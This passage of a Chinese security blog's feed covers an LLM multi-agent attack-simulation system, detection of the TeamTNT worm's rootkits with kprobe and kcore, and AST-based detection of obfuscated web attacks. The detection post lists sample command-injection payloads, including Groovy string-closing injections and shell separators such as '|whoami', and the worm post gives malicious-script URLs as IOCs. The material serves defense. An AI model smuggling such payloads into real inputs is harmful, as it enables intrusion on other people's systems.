\&amp;#39;registry_backup_path\&amp;#39; in config.py&amp;#34;, &amp;#34;python main.py&amp;#34;], &amp;#34;client&amp;#34;: [&amp;#34;Run as administrator&amp;#34;, &amp;#34;python main.py&amp;#34;]}, &amp;#34;Anything UNCLEAR&amp;#34;: &amp;#34;Clarification needed on the specific method to determine administrative privileges within the script.&amp;#34;}

## Task
{&amp;#34;Required Python packages&amp;#34;: [&amp;#34;winreg&amp;#34;, &amp;#34;os&amp;#34;, &amp;#34;sys&amp;#34;], &amp;#34;Required Other language third-party packages&amp;#34;: [&amp;#34;No third-party dependencies required&amp;#34;], &amp;#34;Logic Analysis&amp;#34;: [[&amp;#34;config.py&amp;#34;, &amp;#34;Contains configuration variables such as \&amp;#39;registry_backup_path\&amp;#39;. No dependencies.&amp;#34;], [&amp;#34;logger.py&amp;#34;, &amp;#34;Contains Logger class to log changes. No dependencies.&amp;#34;], [&amp;#34;registry_utils.py&amp;#34;, &amp;#34;Contains RegistryUtils class with methods for registry operations. Depends on config.py for configuration variables and logger.py for logging.&amp;#34;], [&amp;#34;main.py&amp;#34;, &amp;#34;Contains the main function that orchestrates the flow of the program. Depends on registry_utils.py for performing registry operations.&amp;#34;]], &amp;#34;Task list&amp;#34;: [&amp;#34;config.py&amp;#34;, &amp;#34;logger.py&amp;#34;, &amp;#34;registry_utils.py&amp;#34;, &amp;#34;main.py&amp;#34;], &amp;#34;Full API spec&amp;#34;: &amp;#34;&amp;#34;, &amp;#34;Shared Knowledge&amp;#34;: &amp;#34;`registry_utils.py` contains functions shared across the project for interacting with the Windows Registry.&amp;#34;, &amp;#34;Anything UNCLEAR&amp;#34;: &amp;#34;Clarification needed on the specific method to determine administrative privileges within the script.&amp;#34;}

## Legacy Code
```Code
----- config.py
```## config.py

# This module contains configuration variables for the application.
# It sets default values for necessary configurations and avoids circular imports by not depending on any other custom module.

class Config:
 # Default path for registry backup. Can be modified as per requirement.
 backup_path: str = &amp;#34;C:\\registry_backup&amp;#34;

 def __init__(self):
 # Constructor is not necessary for this class as it only contains static configuration data.
 # However, it&amp;#39;s defined here to follow best practices and for potential future use.
 pass

```
----- logger.py
```## logger.py

import datetime

class Logger:
 &amp;#34;&amp;#34;&amp;#34;
 A simple logging class to log changes and events within the application.
 Logs are printed with a timestamp.
 &amp;#34;&amp;#34;&amp;#34;

 @staticmethod
 def log_change(change: str) -&amp;gt; None:
 &amp;#34;&amp;#34;&amp;#34;
 Logs a change or event with the current timestamp.

 Args:
 change (str): The description of the change or event to log.
 &amp;#34;&amp;#34;&amp;#34;
 timestamp = datetime.datetime.now().strftime(&amp;#34;%Y-%m-%d %H:%M:%S&amp;#34;)
 print(f&amp;#34;[{timestamp}] {change}&amp;#34;)
```
```

## Debug logs
```text



```

## Bug Feedback logs
```text

```

# Format example
## Code: registry_utils.py
```python
## registry_utils.py
...
```

# Instruction: Based on the context, follow &amp;#34;Format example&amp;#34;, write code.

## Code: registry_utils.py. Write code with triple quoto, based on the following attentions and context.
1. Only One file: do your best to implement THIS ONLY ONE FILE.
2. COMPLETE CODE: Your code will be part of the entire project, so please implement complete, reliable, reusable code snippets.
3. Set default value: If there is any setting, ALWAYS SET A DEFAULT VALUE, ALWAYS USE STRONG TYPE AND EXPLICIT VARIABLE. AVOID circular import.
4. Follow design: YOU MUST FOLLOW &amp;#34;Data structures and interfaces&amp;#34;. DONT CHANGE ANY DESIGN. Do not use public member functions that do not exist in your design.
5. CAREFULLY CHECK THAT YOU DONT MISS ANY NECESSARY CLASS/FUNCTION IN THIS FILE.
6. Before using a external variable/module, make sure you import it first.
7. Write out EVERY CODE DETAIL, DON&amp;#39;T LEAVE TODO.
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="agent-pipelines"&gt;Agent Pipelines
&lt;/h3&gt;&lt;p&gt;基于前面定义的不同Role的Agent以及Agent的能力，我们可以把这些Agent按照Pipeline进行编排实现基于分析Procedure Example实现的攻击模拟。&lt;br&gt;
首先由Requirements Analyst对需求进行分析，这一步的核心是明确需要模拟的攻击行为以及定义攻击需要达到的目标。完成需求分析后，会将详细需求发送给Security Architect，由他对攻击的详细步骤进行拆解，并且确定攻击实现对环境和工具的依赖。然后其中需要开发的能力由Product Architect进行产品设计。接着将环境依赖、开发需求、攻击步骤发送给Product Manager，由他进行任务拆分以及任务分配。拆分的任务会分配给Developer进行能力实现，并由SRE部署环境和代码。最后会由Penetration Tester对功能进行测试，同时会将问题反馈给前面的Agent进行修改并继续调试，直至达成攻击目标。&lt;br&gt;
&lt;img src="/posts/basgpt-multi-agent-automated-bas/agent-pipeline-flow.svg"
	
	
	loading="lazy"
	
		alt="process"
	
 
	
&gt;&lt;/p&gt;
&lt;h3 id="内存管理"&gt;内存管理
&lt;/h3&gt;&lt;p&gt;Multi-Agent的协作需要记忆机制的参与。通过维护长期的记忆如设计文档、配置信息可以协调不同的Agent共同完成最终的目标。结合执行产出的短时记忆，可以让Agent更好的进行推理。&lt;/p&gt;
&lt;p&gt;Static Memory ：全局长期不变，主要存储约定的配置、能力等信息，如AWS支持的基础镜像，AWS支持的instance_type 等&lt;br&gt;
Long-Term Memory: 长期记忆，主要维护需要全局使用，持续更新的信息。如Requirements Analyst分析产出的需求和目标信息&lt;br&gt;
Short-Term Memory: 短期记忆，主要维护Agent之间短期传递的信息。如在Penetration Tester在进行攻击模拟时返回的错误信息。&lt;/p&gt;
&lt;p&gt;Agent获取太多的内存信息，也会导致Agent的信息的过载。所以需要对内存信息标签化，每一份信息在写入内存时，会附带Tag信息用来指定未来可以获取该信息的Agent。&lt;/p&gt;
&lt;h3 id="推理"&gt;推理
&lt;/h3&gt;&lt;p&gt;在一次完整的攻击模拟过程中，推理是必须具备的能力，我们需要基于逻辑或知识通过分析和推断，最终作出决策。BASGPT主要通过ReACT Agent model来实现推理。&lt;br&gt;
如攻击模拟的执行之前，BASGPT会基于前面的分析的攻击目标、设计的攻击过程、开发的攻击能力、部署的攻击环境等信息，最终作出规划，制定整个攻击的具体执行步骤。&lt;br&gt;
&lt;img src="/posts/basgpt-multi-agent-automated-bas/react-planning.svg"
	
	
	loading="lazy"
	
		alt="reason_final2.drawio"
	
 
	
&gt;&lt;/p&gt;
&lt;p&gt;而在攻击模拟的执行过程中，避免不了开发问题、部署问题、环境问题导致的异常和错误，我们要基于异常信息作出反思，最终制定相应的迭代动作解决问题。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/basgpt-multi-agent-automated-bas/react-reflection.svg"
	
	
	loading="lazy"
	
		alt="reason_final1.drawio"
	
 
	
&gt;&lt;/p&gt;</description></item><item><title>从TeamTNT蠕虫检测看一个主机安全软件的自我修养</title><link>/posts/teamtnt-worm-detection-host-security/</link><pubDate>Wed, 08 Feb 2023 20:52:00 +0800</pubDate><guid>/posts/teamtnt-worm-detection-host-security/</guid><description>&lt;h3 id="背景"&gt;背景
&lt;/h3&gt;&lt;p&gt;近日，牧云主机安全软件帮助用户检测并协助处置一起TeamTNT蠕虫感染事件，时候复盘该蠕虫使用了多种攻击逃逸技术进行自身的隐藏。本文主要结合实际的蠕虫事件介绍主机安全软件的对抗手段，从而阐述主机安全软件如何自我修炼，从而可以有效的应对持续迭代更新的恶意软件及其逃逸手段。&lt;/p&gt;
&lt;h3 id="事件概述"&gt;事件概述
&lt;/h3&gt;&lt;p&gt;事件的起源是一起异常网络连接告警引发的应急响应。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/teamtnt-worm-detection-host-security/abnormal-connection-alert.jpg"
	width="1764"
	height="980"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="180"
		data-flex-basis="432px"
	
&gt;&lt;/p&gt;
&lt;p&gt;发现告警之后，上机排查发现并没有看到相应的进程，判断可能存在进程隐藏等对抗行为。利用牧云的安全基线进行分析，果然发现有两个rootkit。&lt;/p&gt;
&lt;p&gt;通过加载LKM模块实现进程隐藏和rootkit自身的隐藏。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/teamtnt-worm-detection-host-security/lkm-rootkit-detection.jpg"
	width="892"
	height="508"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="175"
		data-flex-basis="421px"
	
&gt;&lt;/p&gt;
&lt;p&gt;通过ld.so.preload在用户态实现进程隐藏。&lt;br&gt;
&lt;img src="/posts/teamtnt-worm-detection-host-security/ld-preload-hiding.jpg"
	width="968"
	height="516"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="187"
		data-flex-basis="450px"
	
&gt;&lt;/p&gt;
&lt;p&gt;参考牧云的解决方案对rootkit进行清理后，所有的后门进程都无所遁形，根据指引完成后门清理成功结束应急响应。&lt;br&gt;
下文将继续结合这个典型的蠕虫来阐述牧云是如何有效和其对抗的技术实现。&lt;/p&gt;
&lt;h3 id="主机安全的自我修养"&gt;主机安全的自我修养
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;健壮的感知能力&lt;/strong&gt;&lt;br&gt;
本次感染的蠕虫虽然通过各种手段实现进程的隐藏进行逃逸，但牧云仍能够有效的发现其异常网络连接，核心是通过tracing+kprobe实现有效的主机事件采集。kprobe是Linux内核提供的一种动态调试机制，即Kernel Probe，用于收集内核函数运行时信息分析和监测内核函数的执行。相较于用户态通过hook libc的方式采集系统调用信息，kprobe直接在内核态进行监听，无论是采集率和对抗rootkit隐藏逃逸都更具优势。而相较于另一种在内核hook系统调用的方式进行事件采集，kprobe作为内核原生提供的调试机制具有更好的稳定性，这对主机安全软件也是至关重要的一环。而相较于内核新引入的ebpf等方式，在内核版本2.6.9即引入的kprobe无疑具有更广泛的普适性。那么如何通过tracing+kprobe实现网络连接事件的采集，下面我们通过linux提供的ftrace框架，操作/sys/kernel/debug/tracing/文件系统来简单分享一下kprobe事件采集的实现。&lt;/p&gt;
&lt;p&gt;针对TeamTNT蠕虫异常网络连接监控举例，首先我们需要通过ftrace注册一个kprobe监听事件，并针对监听的函数的ABI约定来选择需要采集的数据。因为是监听建立网络连接，我们选择__sys_connect系统调用，通过如下命令我们可以注册一个名为justtest的kprobe监听事件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo -n &amp;#39;p:justtest __sys_connect FD=%di:s64 Family=+0(%si):u16 Port=+2(%si):u16 Address=+4(%si):u32 Len=%dx:u64&amp;#39; &amp;gt;&amp;gt; /sys/kernel/debug/tracing/kprobe_events
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;接下来，我们需要启用我们所注册的kprobe监听器，具体实现仍然是操作tracing文件系统，相应命令如下。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo 1 &amp;gt; /sys/kernel/debug/tracing/events/kprobes/justtest/enable 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;最后我们就可以通过解析/sys/kernel/debug/tracing/trace对应的输出，分析是否有可疑的网络连接请求。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/teamtnt-worm-detection-host-security/kprobe-network-monitoring.jpg"
	width="1343"
	height="479"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="280"
		data-flex-basis="672px"
	
&gt;&lt;/p&gt;
&lt;p&gt;针对kprobe的更详细的参数以及调用方式可以查看内核的Documentation/trace/kprobetrace.txt文档了解细节。同时牧云也将其核心的事件采集能力开源成工具供大家尝试调试kprobe事件采集，以及可以结合systracer程序进行恶意软件分析，详情见开源项目 &lt;a class="link" href="https://github.com/chaitin/systracer" target="_blank" rel="noopener"
 &gt;https://github.com/chaitin/systracer&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;深度的洞察能力&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;作为一个优雅的主机安全产品牧云兼具深度的洞察能力，在TeamTNT蠕虫事件中，牧云通过用户态工具对内核的内存分布进行深度的洞察，从而有效检出蠕虫使用LKM rootkit，下面我们详细阐述牧云是如何洞察rootkit隐藏痕迹。&lt;br&gt;
对LKM rootkit的发现，牧云是基于对比内核中/proc/kallsyms符号表和内核的内存镜像/proc/kcore从而发现系统调用被异常篡改，最终实现威胁检出。&lt;/p&gt;
&lt;p&gt;首先我们需要分析kcore来查找系统调用的地址，首先我们通过readelf获取kcore中内核代码的偏移地址。通过读取代码段的偏移地址，其中VirtAddr-Offset即为内核态逻辑内存地址映射到/proc/kcore文件中的偏移位置。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/teamtnt-worm-detection-host-security/kcore-readelf-offset.jpg"
	width="895"
	height="414"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="216"
		data-flex-basis="518px"
	
&gt;&lt;/p&gt;
&lt;p&gt;然后通过kallsyms获取系统调用表的偏移地址&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# grep &amp;#39;R sys_call_table&amp;#39; /proc/kallsyms 
ffffffffbc2013c0 R sys_call_table
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;基于上面获取的信息，可以计算出在kcore中系统调用表的偏移地址为&lt;br&gt;
0xffffffffbc2013c0-(0xffffffffff600000-0x00007fffff603000)=0x7fffbc2043c0，通过hexdump来读取系统调用表的内存地址为一个平坦数组，我们可以通过系统调用号作为下标直接获取对应系统调用的跳转地址。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# hexdump -s 0x7FFFBC2043C0+ -n 64 -e &amp;#39;2/4 &amp;#34;%08x&amp;#34; &amp;#34;\n&amp;#34;&amp;#39; /proc/kcore
bb4d2d60ffffffff
bb4d2e80ffffffff
bb4cea30ffffffff
bb4ccae0ffffffff
bb4d7ec0ffffffff
bb4d80e0ffffffff
bb4d7f80ffffffff
bb4ebef0ffffffff
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;最后我们将kcore中获取的系统调用地址和kallsyms中的符号地址进行对比，可以看到sys_kill系统调用存在异常。后续我们可以进一步基于内存异常找到对应进行系统调用劫持的内核模块，在这里就不详细阐述了。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/teamtnt-worm-detection-host-security/syscall-table-comparison.jpg"
	width="1920"
	height="686"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="279"
		data-flex-basis="671px"
	
&gt;&lt;/p&gt;
&lt;p&gt;从上面蠕虫逃逸的对抗过程可以看出，作为一款主机安全软件，面对不断升级和迭代的恶意软件，健壮的感知能力和深度的洞察能力是我们能够持续检测的基础和自我修养。&lt;/p&gt;
&lt;h3 id="ioc"&gt;IOC
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;IP&lt;/strong&gt;&lt;br&gt;
220.167.141.174&lt;br&gt;
205.185.118.246&lt;br&gt;
&lt;strong&gt;URL&lt;/strong&gt;&lt;br&gt;
hxxp://205.185.118.246/b2f628/cronb.sh&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/m/xm.jpg&lt;br&gt;
hxxp://kiss.a-dog.top/s3f815/d/h.sh&lt;br&gt;
hxxp://kiss.a-dog.top/s3f815/d/w.sh&lt;br&gt;
hxxp://kiss.a-dog.top/s3f815/d/d.sh&lt;br&gt;
hxxp://kiss.a-dog.top/s3f815/d/c.sh&lt;br&gt;
hxxp://kiss.a-dog.top/bWVkaWEK/zgrab&lt;br&gt;
hxxp://kiss.a-dog.top/bWVkaWEK/1.0.4.tar.gz&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/m/xm.tar&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/d/ai.sh&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/d/ar.sh&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/b.sh&lt;br&gt;
hxxp://kiss.a-dog.top/b2f628/s/s.sh&lt;br&gt;
&lt;strong&gt;MD5&lt;/strong&gt;&lt;br&gt;
b66fe14854d5c569a79f7b3df93d3191&lt;br&gt;
7691c55732fded10fca0d6ccc64e41dc&lt;br&gt;
8fbbe3860823e397f3be82fa78026238&lt;br&gt;
ded99b45dd74384689b276b1b35bce64&lt;br&gt;
1e2bb44cd88e4763db54993638472f62&lt;br&gt;
974edee6a70b66eac6de05045e542715&lt;/p&gt;</description></item><item><title>主动欺骗工具(Offensive Security)</title><link>/posts/active-deception-tool-mimicry/</link><pubDate>Wed, 28 Dec 2022 19:38:00 +0800</pubDate><guid>/posts/active-deception-tool-mimicry/</guid><description>&lt;p&gt;Mimicry 是由长亭科技自研，用于在exploitation和post-exploitation进行主动欺骗的安全防护工具。&lt;br&gt;
通过主动的欺骗，让攻击者在无感知的情况被转移到蜜罐。无需进行安全强对抗即可取得较好的安全效果。&lt;/p&gt;
&lt;h2 id="-工作原理"&gt;🏠 工作原理
&lt;/h2&gt;&lt;p&gt;&lt;a class="link" href="mimicry-introduction.pdf" &gt;mimicry-introduction.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.bilibili.com/video/BV1814y1N7ke"&gt;视频介绍&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;试用链接:&lt;br&gt;
&lt;a class="link" href="https://github.com/chaitin/mimicry" target="_blank" rel="noopener"
 &gt;https://github.com/chaitin/mimicry&lt;/a&gt;&lt;/p&gt;</description></item><item><title>生产网入侵检测高效检测细节</title><link>/posts/production-network-intrusion-detection-details/</link><pubDate>Fri, 17 Jan 2020 20:46:00 +0800</pubDate><guid>/posts/production-network-intrusion-detection-details/</guid><description>&lt;p&gt;承接前面的《阿里经济体生产网威胁检测实战》，详细展开一些在生产网检测时比较有效的检测方案。&lt;/p&gt;
&lt;h2 id="web攻击利用成功检测"&gt;Web攻击利用成功检测
&lt;/h2&gt;&lt;p&gt;主要针对全量的Web流量进行离线分析，解决定位比较关键的攻击成功事件，只有攻击成功的事件才有深度调查和分析的价值。&lt;br&gt;
通过攻击的request和响应的response关联，当异常攻击特征检测规则命中的请求，能够关联到漏洞利用成功的特征则可以判断Web漏洞利用成功。这些才是入侵检测中需要响应的高危case。通常Web漏洞利用成功特征有:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;漏洞的报错信息：如sql注入报错信息等&lt;/li&gt;
&lt;li&gt;信息泄漏：ak信息泄漏、设备(/etc/passwd等)信息采集&lt;/li&gt;
&lt;li&gt;常见框架利用成功特征： jenkins、Elasticsearch、weblogic等&lt;/li&gt;
&lt;li&gt;攻击目标达成： 如命令执行返回&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其中1-3都是基于历史流量数据收集的固定特征，第4个攻击目标达成往往取决于攻击payload的内容，可能需要想办法对攻击payload进行还原。而攻击payload通常有大量的攻击转义和变形的特征&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;如
Runtime.getRuntime().exec(&amp;#34;whoami&amp;#34;).text
可以变形为
(&amp;#34;Run&amp;#34;+&amp;#34;time&amp;#34;).getRuntime().exec(&amp;#34;who&amp;#34;+&amp;#34;ami&amp;#34;).text
Class.forName(&amp;#34;java.la&amp;#34;+&amp;#34;ng.Runtime&amp;#34;).getRuntime().exec(&amp;#34;whoami&amp;#34;).text
Runtime.&amp;#34;${&amp;#39;get&amp;#39; + &amp;#39;Runtime&amp;#39;}&amp;#34;().exec(&amp;#34;whoami&amp;#34;).text
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;针对这类case，可以结合AST树还原攻击payload，一方面提升检测效果，对抗绕过手段，一方面可以提取真实攻击payload，构造有效的response特征。但AST树解析过程中，经常遇到利用边界分隔符进行上下文逃逸的，导致只存在部分代码片段可以进行检测。如：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;groovy通过双引号闭合字符串
&amp;#34; + &amp;#34;whoami&amp;#34;.execute().text + &amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;本质上攻击时会利用各种不同的边界分隔符、控制符号来达到闭合之前语句，执行注入代码，而由于之前的代码不完整，导致AST树解析失败。所以我们需要整理各编程语言可能的闭合手法，在构建AST树时兼容该手法，将其纳入词法分析和语法解析。&lt;/p&gt;
&lt;p&gt;以antlr4举例:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;在该场景，针对闭合手法，词法分析可以识别出如下规则可以匹配字符串闭合的Token
UNCLOSED_STRING
 : &amp;#39;&amp;#34;&amp;#39; StringCharacter* 
 | StringCharacter* &amp;#39;&amp;#34;&amp;#39;
 ;

在语法解析层面，UNCLOSED_STRING等效于字符串
stringLiteral
 : StringLiteral
 | UNCLOSED_STRING // ← 接受未闭合字符串
 ;
 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;所以整体AST树的构建流程，遇到语法解析错误时，开始遍历是否有闭合字符，将闭合字符纳入词法解析。然后重新分析闭合字符的Token是否符合语法解析。&lt;/p&gt;
&lt;p&gt;一些语言的闭合方式如下:&lt;/p&gt;
&lt;p&gt;Groovy闭合方式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 字符串引号闭合
&amp;#39;;&amp;#34;id&amp;#34;.execute().text;&amp;#39;
&amp;#34;;&amp;#34;id&amp;#34;.execute().text;&amp;#34;
&amp;#39;;&amp;#34;id&amp;#34;.execute().text;&amp;#39;

2. 注释符号闭合
*/def cmd = &amp;#34;whoami&amp;#34;.execute()/*

3. 二元操作符闭合
+Runtime.getRuntime().exec(&amp;#34;whoami&amp;#34;)+

4. 分号/语句分隔符
;Runtime.getRuntime().exec(&amp;#34;whoami&amp;#34;);

5. 方法引用/属性访问闭合
.&amp;#39;whoami&amp;#39;.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Shell命令闭合方式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 分号闭合
;Runtime.getRuntime().exec(&amp;#34;whoami&amp;#34;);

2. 管道符闭合
|whoami

3. 逻辑闭合
&amp;amp;&amp;amp;whoami&amp;amp;&amp;amp;
||whoami

4. 引号闭合
&amp;#39;;whoami;&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;解决了闭合问题，接下来需要结合常量折叠和变量传递一些方式来对抗攻击逃逸香味。&lt;/p&gt;
&lt;p&gt;如在遍历AST树时，需要将可以计算的常量进行归并计算，以对抗字符串拼接的场景。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;((&amp;#34;who&amp;#34;+&amp;#34;am&amp;#34;)+&amp;#34;i&amp;#34;).execute()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以通过后续遍历将字符串拼接操作进行计算。同时如果该语言有字符串处理函数如reverse、base64也可以进行基础的字符串处理。&lt;/p&gt;
&lt;p&gt;针对块内 (Intra-block，没有控制流跳转）的代码块,可以通过遍历维护一个变量列表用于解决变量传递对抗混淆问题。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;c = &amp;#34;who&amp;#34;
cmd = c + &amp;#34;ami&amp;#34;
cmd.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在中序遍历AST树时，维护一个变量字典，用于存储变量名和变量值，在遇到变量时进行变量替换。其中shell有可能利用空变量来达到绕过的目的。&lt;/p&gt;
&lt;p&gt;最后是匹配攻击模式，本质上是遍历生成的AST树，判断是否存在匹配可疑的代码行为的语法结构。&lt;/p&gt;
&lt;h2 id="数据库日志白基线"&gt;数据库日志白基线
&lt;/h2&gt;&lt;p&gt;这个主要解决入侵检测中的兜底。&lt;br&gt;
从攻击动机上看：攻击目标的最终目的往往是针对数据库的数据窃取和勒索。&lt;br&gt;
从覆盖上看：无论是Web端、移动端、数据同步平台、数据管理平台，或者攻击者通过账号密码直接连接数据库，最终针对数据库的操作都会记录数据库日志所以从数据库审计日志切入检测是目前覆盖面最全的。&lt;br&gt;
从检测效果上看：数据库日志有一个特点，它一般是由开发编码好固定的查询语句，尤其绝大多数应用会硬编码带占位符的SQL模版，然后将SQL结合变量进行预编译然后执行。那么如果通过解析语义，尝试还原去除变量的SQL语句，就可以获取原始的SQL模版，而一个应用基于业务逻辑生成的SQL模版必然是有限的，所以可以尝试通过基线的逻辑来发现异常。尤其是配置数据库日志的来源应用、来源IP、使用账号等信息增强后。所以数据库日志白基线纯净度很高，可以准确发现异常告警。&lt;/p&gt;
&lt;p&gt;具体实现：&lt;br&gt;
一个SQL语句通常由关键字(Keyword)、标识符(Identifier)、函数(Function)、运算符(Operator)、字面量(Literal)、分隔符(Delimiter)、注释(Comment)组成，那么我们可以尝试分两个方式提取基线。&lt;/p&gt;
&lt;p&gt;如下仅去除SQL中字面量(Literal)以及注释(Comment)，在生产网环境中就可以构建基线覆盖大多数的SQL，通常取两周的业务流量就可以得到完整的数据库基线。&lt;br&gt;
当然可以进一步仅保留SQL中的关键字(Keyword)、运算符(Operator)，其中标识符(Identifier)等通过统计来抽象体现，这样提取的仅是SQL的基础框架，基线能更快速生成。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/*!40100 SET @@SQL_MODE=&amp;#39;&amp;#39; */
select c,d,count(1) as cnt from abcd where a=&amp;#39;abfdsafsac&amp;#39; and b&amp;gt;5 group by c,d;

提取模版：

select c,d,count(?) as cnt from abcd where a=? and b &amp;gt; ? group by c,d;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;后续可以回溯常见的sqlmap信息搜集、mysqldump操作、数据窃取操作、sql注入基本都能通过基线识别出来。&lt;/p&gt;
&lt;h2 id="进程白基线"&gt;进程白基线
&lt;/h2&gt;&lt;p&gt;从生产网服务器的特点出发,生产网的服务大多是标准的业务，通过容器编排批量部署，上面跑的业务通常比较稳定，相应的网络请求也有固定的范围，这是一个天然适配通过基线来实现异常检测的场景。&lt;br&gt;
例如获取进程日志，可以很快训练出来对应应用正常情况下会运行的进程列表。但服务端进程日志，会有些路径是随机的问题，有些是容器导致的，有些是应用开发定义的，这些日志如果没发归一化来构建profile，可能基线也是没法运行的。&lt;br&gt;
如：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/var/lib/docker/overlay2/c2ff1e174b65ccd1c52f4d0ae851e4417d9db0b44da08511255767a665793aad/merged/app/proxy
/workspace/xvfb-run.02fxQY/Xauthority
/home/admin/prod/nbapp/v0.2.3/nb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们会通过模式树归一化来解决这个问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;按“/”分段&lt;br&gt;
将所有进程按路径分隔符 / 拆成若干段（segment），例如&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/workspace/xvfb-run.02fxQY/Xauthority → [&amp;#34;workspace&amp;#34;, &amp;#34;xvfb-run.02fxQY&amp;#34;, &amp;#34;Xauthority&amp;#34;]
/var/lib/docker/overlay2/c2ff1e174b65ccd1c52f4d0ae851e4417d9db0b44da08511255767a665793aad/merged → [... &amp;#34;overlay2&amp;#34;, &amp;#34;c2ff1e174b65ccd1c52f4d0ae851e4417d9db0b44da08511255767a665793aad&amp;#34;, &amp;#34;merged&amp;#34; ...]
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="2"&gt;
&lt;li&gt;构建Trie（前缀树）&lt;br&gt;
用一棵多叉树来保存所有分段后的路径，每个节点记录：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;segmentName：如果是叶子节点可留空，内部节点是具体字符串或预留“*”&lt;br&gt;
count：通过该节点的 URI 数量&lt;br&gt;
children：下一层分段的节点集&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;统计同级分支数量&lt;br&gt;
对每一个父节点，统计它的直接子节点数 n。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果 n 较小（例如 ≤ 3），说明这些分支很可能是固定路径（如 app、info、status…），保留原样。&lt;br&gt;
如果 n 超过阈值（如 ≥ 10），说明该层是一个典型的随机路径，需要将这一层“归一化”成一个随机路径节点。&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;参数层的正则推断&lt;br&gt;
当某一层被判定为“随机路径”时，遍历该层下所有实际出现过的值样本，利用简单的“模式匹配”或“候选模板”检测：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;数字序列：全部都是连续数字 → \d+&lt;/li&gt;
&lt;li&gt;版本号：形如 v\d+(.\d+)* → v\d+(?:.\d+)*&lt;/li&gt;
&lt;li&gt;UUID：满足 8-4-4-4-12 的 hex + 连字符 → [0-9a-fA-F]{8}(?:-[0-9a-fA-F]{4}){3}-[0-9a-fA-F]{12}&lt;/li&gt;
&lt;li&gt;字母数字混合：长度固定或可变 → [A-Za-z0-9]{…}&lt;/li&gt;
&lt;li&gt;sha256 hash: [0-9a-f]{64}&lt;/li&gt;
&lt;li&gt;fallback：如果上面都不匹配，可退化为 [^/]+&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="5"&gt;
&lt;li&gt;生成最终正则模板&lt;br&gt;
遍历 Trie，遇到被标记的“随机路径”用 (?&lt;name&gt;regex) 或 {name:regex}（或直接 regex）替换，拼回成完整正则：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过模式树归一化，进程的白基线在生产网的落地就有了可行性。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/var/lib/docker/overlay2/[0-9a-f]{64}/merged/app/proxy
/core_app/[\w]{5,6}/work/ 
/home/admin/prod/nbapp/v\d+(?:\.\d+)*/nb
